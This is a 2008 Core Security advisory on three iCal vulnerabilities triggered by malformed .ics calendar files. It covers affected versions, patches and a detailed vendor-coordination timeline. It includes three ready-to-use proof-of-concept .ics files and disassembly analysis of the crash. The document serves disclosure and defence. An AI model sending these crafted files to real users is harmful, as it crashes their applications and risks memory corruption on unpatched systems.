Multiple vulnerabilities in iCal
Core Security Technologies - CoreLabs Advisory
Title: Multiple vulnerabilities in iCal
Advisory ID: CORE-2008-0126
Advisory URL: http://www.coresecurity.com/?action=item&id=2219
Date published: 2008-05-21
Date of last update: 2008-05-22
Vendors contacted: Apple Inc.
Release mode: Coordinated release
iCal is a personal calendar application from Apple Inc. included on the Mac OS X operating system. The calendar
application can be used as a stand-alone application or as a client-side component to calendar server that
lets users create and share multiple calendars and subscribe to other user's calendars. Apple's iCal uses the iCalendar standard for its calendar file format (which uses the
.ics filename extension)
 and the CalDAV protocol for calendar sharing .
There is a growing number of web sites providing calendars files and open subscription to calendar updates
Three vulnerabilities discovered in the iCal application may allow un-authenticated attackers to execute arbitrary code on vulnerable
systems with (and potentially without) the assistance from the end user of the application or to repeatedly execute a denial of service attack to crash the iCal application.
The most serious of the three vulnerabilities is due to potential memory corruption resulting from a resource liberation bug that can be
triggered with a malformed
.ics calendar file specially crafted by a would-be attacker.
The other two vulnerabilities lead to abnormal termination (crash) of the iCal application due to null-pointer dereference bugs triggered
while parsing a malformed
The ability to inject and execute arbitrary code on vulnerable systems using these two vulnerabilities was researched but not proven possible.
Exploitation of these vulnerabilities in a client-side attack scenario is possible with user assistance by opening or clicking on specially crafted
.ics file send over email or hosted on a malicious web server; or without direct
user assistance if a would-be attacker has the ability to legitimately add or modify calendar files on a CalDAV server.
- iCal application on Mac OS X versions 10.5 through 10.5.2
- iCal application on Mac OS X server versions 10.5 through 10.5.2
- The PoCs were tested on iCal 3.0.1 and 3.0.2
- Available through Apple security updates (see vendor information below).
Vendor Information, Solutions and Workarounds
Don't open untrusted
.ics calendar files sent by mail or provided by websites.
The following information was provided verbatim by the vendor:
Apple security updates are available via the Software Update mechanism:
Apple security updates are also available for manual download via:
If you provide cross-referencing information in your advisory please link to the following URL:
These vulnerabilities were discovered and researched by Rodrigo Carvalho, from the Core Security Consulting Services (SCS) team of Core Security Technologies during Bugweek 2007. Additional research was done by Ricardo Narvaja from CORE IMPACT the Exploit Writers Team (EWT).
Technical Description / Proof of Concept Code
Three vulnerabilities discovered in the iCal application may allow un-authenticated attackers to execute arbitrary code on vulnerable systems with (and potentially without) the assistance from the end user of the application or to repeateadly execute a denial of service attack to crash the iCal application.
A client-side attack directed to the end-users of the iCal application can be executed by sending an email with a malicious .ics file attachment, by hosting a malicious .ics file on web site and directing users to open it or by injecting a malicious .ics file on a CalDAV enabled server to which potential victims are subscribed to update their calendars automatically. In the three reported cases the vulnerabilities arise from improper validation of input while or after parsing of the calendar file format.
1) Null pointer de-reference #1 (Bugtraq ID 28629, CVE-2008-2006)
Improper sanitization of integer input may lead to null pointer dereference and possibly to an application
that loses control of its execution, resulting in a denial of service.
A vulnerable .ics file will contain the following line:
COUNT value causes an integer overflow, which leads to a null pointer dereference
when iCal tries to use it after the .ics file is imported.
The following Proof of Concept (PoC) file is provided to demonstrate its feasibility, to trigger the bug import a .ics file with the following content and then select one of the created events.
BEGIN:VCALENDAR X-WR-TIMEZONE:America/Buenos_Aires PRODID:-//Apple Inc.//iCal 3.0//EN CALSCALE:GREGORIAN X-WR-CALNAME: Vulnerable VERSION:2.0 X-WR-RELCALID:10DE4203-4FA5-4E23-AE4D-9DAE3157C9E5 METHOD:PUBLISH BEGIN:VTIMEZONE TZID:America/Buenos_Aires BEGIN:DAYLIGHT TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:19991003T000000 RDATE:19991003T000000 TZNAME:ARST END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:20000303T000000 RDATE:20000303T000000 RDATE:20001231T210000 TZNAME:ART END:STANDARD END:VTIMEZONE BEGIN:VEVENT SEQUENCE:4 DTSTART;TZID=America/Buenos_Aires:20071225T110000 DURATION:PT1H UID:48878014-5F03-43E5-8639-61E708714F9A DTSTAMP:20071213T130632Z SUMMARY:Vuln CREATED:20071213T130611Z RRULE:FREQ=DAILY;INTERVAL=1;COUNT=2147483646 END:VEVENT END:VCALENDAR
Analysis of the vulnerability
The above proof-of-concept file creates new events in the iCal application . When a user double-clicks on these events the program crashes writing in the memory pointed by pointer
EDI=0. Only the value of
EAX is under control, must be less than
0x7fffffff and is extracted from the following line of the PoC
__text:0013C178 push ebp __text:0013C179 mov ebp, esp __text:0013C17B sub esp, 38h __text:0013C17E mov eax, ds:off_1F435C __text:0013C183 mov [ebp+var_4], edi __text:0013C186 mov edi, [ebp+arg_C] __text:0013C189 mov [ebp+var_8], esi __text:0013C18C mov esi, [ebp+arg_8] __text:0013C18F mov [ebp+var_C], ebx __text:0013C192 mov [esp+38h+var_34], eax __text:0013C196 mov eax, [ebp+arg_0] __text:0013C199 mov [esp+38h+var_28], 0 __text:0013C1A1 mov [esp+38h+var_2C], 0
Here is written on
[ebp + var28] and
[ebp + var2C] and
0x38, this is similar to
[ebp + var28] = [esp+0x38+var_28] [ebp + var2C] = [esp+0x38+var_2C]
There are located the null-pointers on the stack.
BFFFEF7C var_2C dd 0 BFFFEF80 var_28 dd 0
Upon reaching the function where the crash occurs.
__text:0014ADC3 push ebp __text:0014ADC4 mov ebp, esp __text:0014ADC6 sub esp, 48h __text:0014ADC9 mov eax, ds:stru_1FA2A0.superclass
Logically the zeros are still present because don't work with those values until we enter.
BFFFEF7C arg_C dd 0 BFFFEF80 arg_10 dd 0
We see that the function argument
arg_C is loaded and moved to
0014ADE0 mov edi, [ebp+arg_C]
And this is the location where is written at the moment of crashing further ahead, meaning that it is a zero that can't be changed.
0014AE2F mov dword ptr [edi], 0
When getting closer to the point of crash because we control
EAX and we can trigger a jump after comparing with
0014AE20 cmp eax, [ebx+0Ch] (if it is lower than 1) 0014AE23 jl short loc_14AE2F 0014AE25 cmp eax, [ebx+8] (if it is lower than 0x270F) 0014AE2D jle short loc_14AE37 169280B8 dd 270Fh (ebx+08) 169280BC dd 1 (ebx+0C)
The first comparison for
JL doesn't avoid the crash zone, but anyway negative numbers can't be inserted by default and a zero value does not crash the program or even gets it near the critical zone. Any other value crashes the application when writing in the null location.
In the other case a comparison is made such that if
EAX is less than
0x270f the crash zone is avoided and the program continues to work without problem. Negative values are not read and if a value greater than
0x7fffffff the maximum value is used instead.
2) Null pointer dereference #2 (Bugtraq ID 28632, CVE-2008-2006)
A vulnerable .ics file will contain the following line:
TRIGGER value causes a null pointer dereference when iCal tries to use it after
the .ics file is imported.
The corresponding PoC follows. to trigger the bug import a .ics file with the following content then click on the 65535 on edit mode and
accept it without changes.
BEGIN:VCALENDAR X-WR-CALNAME:Fake event PRODID:-//Apple Inc.//iCal 3.0//EN CALSCALE:GREGORIAN VERSION:2.0 METHOD:PUBLISH BEGIN:VTIMEZONE TZID:America/Buenos_Aires BEGIN:DAYLIGHT TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:19991003T000000 RDATE:19991003T000000 TZNAME:ARST END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:20000303T000000 RDATE:20000303T000000 RDATE:20001231T210000 TZNAME:ART END:STANDARD END:VTIMEZONE BEGIN:VEVENT SEQUENCE:10 DTSTART;TZID=America/Buenos_Aires:20071225T000000 DTSTAMP:20071213T124414Z SUMMARY:Fake Event DTEND;TZID=America/Buenos_Aires:20071225T010000 RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1 UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9 TRANSP:OPAQUE CREATED:20071213T124215Z BEGIN:VALARM X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49 ACTION:DISPLAY DESCRIPTION:Event reminder TRIGGER:-PT65535H END:VALARM END:VEVENT END:VCALENDAR
3) Improper resource liberation (Bugtraq ID 28633, CVE-2008-1035)
This is another case of bad validation of a file with the iCalendar format that results in a more serious bug.
A vulnerable .ics file will contain the following line:
The corresponding PoC follows. Double-click on the .ics file with the following content, an event will be created. To crash iCal click on the newly created event and the on the alarm sound list.
BEGIN:VCALENDAR X-WR-TIMEZONE:America/Buenos_Aires PRODID:-//Apple Inc.//iCal 3.0//EN CALSCALE:GREGORIAN X-WR-CALNAME:evento falso VERSION:2.0 X-WR-RELCALID:71CE8EAD-380B-4EA3-A123-60F9B2A03990 METHOD:PUBLISH BEGIN:VTIMEZONE TZID:America/Buenos_Aires BEGIN:DAYLIGHT TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:19991003T000000 RDATE:19991003T000000 TZNAME:ARST END:DAYLIGHT BEGIN:STANDARD TZOFFSETFROM:-0300 TZOFFSETTO:-0300 DTSTART:20000303T000000 RDATE:20000303T000000 RDATE:20001231T210000 TZNAME:ART END:STANDARD END:VTIMEZONE BEGIN:VEVENT SEQUENCE:11 DTSTART;TZID=America/Buenos_Aires:20071225T000000 DTSTAMP:20071213T143420Z SUMMARY:evento falso DTEND;TZID=America/Buenos_Aires:20071225T010000 LOCATION:donde se hace RRULE:FREQ=YEARLY;INTERVAL=1;COUNT=1 TRANSP:OPAQUE UID:651D31BE-455E-45ED-99C6-55B9F03A3FA9 URL;VALUE=URI:http://pepe.com:443/pepe ATTACH;FMTTYPE=text/php;X-APPLE-CACHED=1:ical://attachments/4E3646DE-ED2 0-449C-88E7-744E62BC8C12/651D31BE-455E-45ED-99C6-55B9F03A3FA9/popote.php CREATED:20071213T142720Z CREATED:20071213T124215Z BEGIN:VALARM X-WR-ALARMUID:958B6A5B-91E6-4F80-829F-89AD5B17AF49 ACTION:DISPLAY DESCRIPTION:Event reminder TRIGGER:-PT15H END:VALARM BEGIN:VALARM X-WR-ALARMUID:F54A0E05-57B8-4562-8E77-056B19305CD0 ACTION:AUDIO TRIGGER:-PT15M ATTACH;VALUE=URI:S=osumi END:VALARM END:VEVENT END:VCALENDAR
Core sends an initial notification that vulnerabilities were discovered in the iCal application and iCal server and that an advisory draft is available.
Vendor acknowledges and requests the draft.
Core sends the draft, including proof-of-concept files that trigger the bugs.
Core requests update info on the vulnerabilities and states that wants to coordinate the date of the disclosure.
Core requests update info on the vulnerabilities.
Vendor replies that the iCal Server (CVE-2008-1000) vulnerability is tracked for a fix in an upcoming update and the vulnerabilities in the iCal client application will be fixed in an update following the early March software update.
Core indicated that it will split the report in two security advisories. CORE-2008-0123 will address the vulnerability in iCal server (CVE-2008-1000) and will be published in coordination with the release of the vendor's March software update. The publication date for the second advisory, will dealt bydealing with the three vulnerabilities in the iCal client application will be coordinated for a date after the March update unless there are clear indications of the vulnerability being exploited in the wild, in which case if Core considers that the information provided in the advisory would help end users to decide how to react the advisory would be published sooner as a "forced release".
Core requests update info on the vulnerability, a concrete release schedule and text for the advisory section called "Vendor Information, Solutions and Workarounds".
Vendor provides information concerning CVE-2008-1000 and indicates that the bug is in the Wiki server and not the iCal Server.
Core re-schedules the publication to March 24th and requests the vendor an update on the coordinated date of disclosure. The remaining three vulnerabilities in the iCal client application will be dealt by a second security advisory (CORE-2008-0126) to be published after the release of the March software update. Publication of CORE-2008-0126 is initially slated for March 24th 2008 but the final date estimation can be discussed further with the vendor based on its estimated date for fixes.
APPLE-SA-2008-0318 software update released.
CORE-2008-0123 is published.
Vendor informs that will track the first two issues as crasher-only bugs but still intends to address them. Further details to determine if the null pointer de-reference bugs are exploitable are requested. The vendor will continue to track the third as a security bug and estimates early April for the release of the software update that fix them. Additional timing information will be provided closer to the estimated date.
Core re-schedules the publication to April 7th and indicates that should any new details about the vulnerabilities become available they will be forwarded to the vendor.
Core requests a more precise date of release of the fixes to coordinate the publication and recommends the vendor to consider the three as security bugs because it couldn't be proved that in this case the integer overflows can't be exploited.
Vendor requests that Core to postpone the advisory publication until the fix is available.
Core requests a more precise date of release of the fixes to coordinate the new publication date.
Vendor informs that the estimated date for the update is near the end of April.
Core confirms that coordinating the publication of CORE-2008-0126 for April 28th is acceptable.
Core requests an update on the release date of the fixes.
- 2008-04-17: Vendor states that end of April is still the estimated date and provides more details that explain why the first two bugs are been considered null-pointer dereference bugs only. A value range verification is performed and out-of-range values branch execution flow to instructions that assign NULL to a pointer which later triggers a null pointer de-reference that causes the application to crash. The root cause of the crash is a NULL pointer de-reference and not an integer overflow.
Core confirms that the two first bugs can be considered crasher only due to null-pointer dereference. Upon further research it is confirmed that integer overflows are detected and do not cause the actual crashes.
Vendor asks confirmation that the first two bugs have no security related consequences.
Core responds that the three bugs still have security related consequences. The first two bugs can be abused to execute denial of service attacks by untrusted and unauthenticated third parties specifically using public servers as attack vector. Core considers bugs that allow unauthenticated third parties to crash an application to be security vulnerabilities. Core indicates that exploitation of null pointer de-reference bugs cannot be ruled out generically, a statement which could be derived from Rice's theorem.
- 2008-04-25: Core requests an update on the release date of the fixes and sends detailed information on the analysis of the first bug.
- 2008-04-27: Vendor estimates early May as the date of the software fixes release.
- 2008-05-05: Core informs the vendor that it is re-scheduling the publication to May 12th as a final date unless precise information is given on the release date of the fixes.
- 2008-05-06: Vendor responds precising that the fixes are being released sometime the following week.
- 2008-05-07: Core states that it is not willing to re-schedule publication date unless the vendor commits to a concrete date.
- 2008-05-10: Vendor asks Core not to publish the advisory before Apple security update is available. Vendor indicates that fixes will be released on May 19th, 2008.
- 2008-05-10: Given that the vendor has communicated a concrete date, Core will discuss re-scheduling (for the fifth time) the publication date of the advisory.
- 2008-05-12: Core communicates the vendor that the publication of the advisory is re-scheduled to May 21th, that date is final.
- 2008-05-14: Vendor acknowledges reception of the last email and appreciates that Core posponed the advisory publication date.
- 2008-05-20: Core send the final draft of the advisory to the vendor.
An edited and corrected final version of the advisory is sent to the vendor.
- 2008-05-21: Advisory CORE-2008-0126 is published.
- 2008-05-22: Minor errors corrected and more detailed version information added.
- 2008-05-28: Apple Software
Update 10.5.3 is released including a fix for CVE-2008-1035.
CVE-2008-2007 has been deprecated as duplicate of CVE-2008-1035.
RFC 2445: Internet Calendaring and Scheduling Core Object Specification (iCalendar) - http://tools.ietf.org/html/rfc2445
 RFC 4791: Calendaring Extensions to WebDAV -
 iCalShare http://icalshare.com/
 iCalWorld http://www.icalworld.com/
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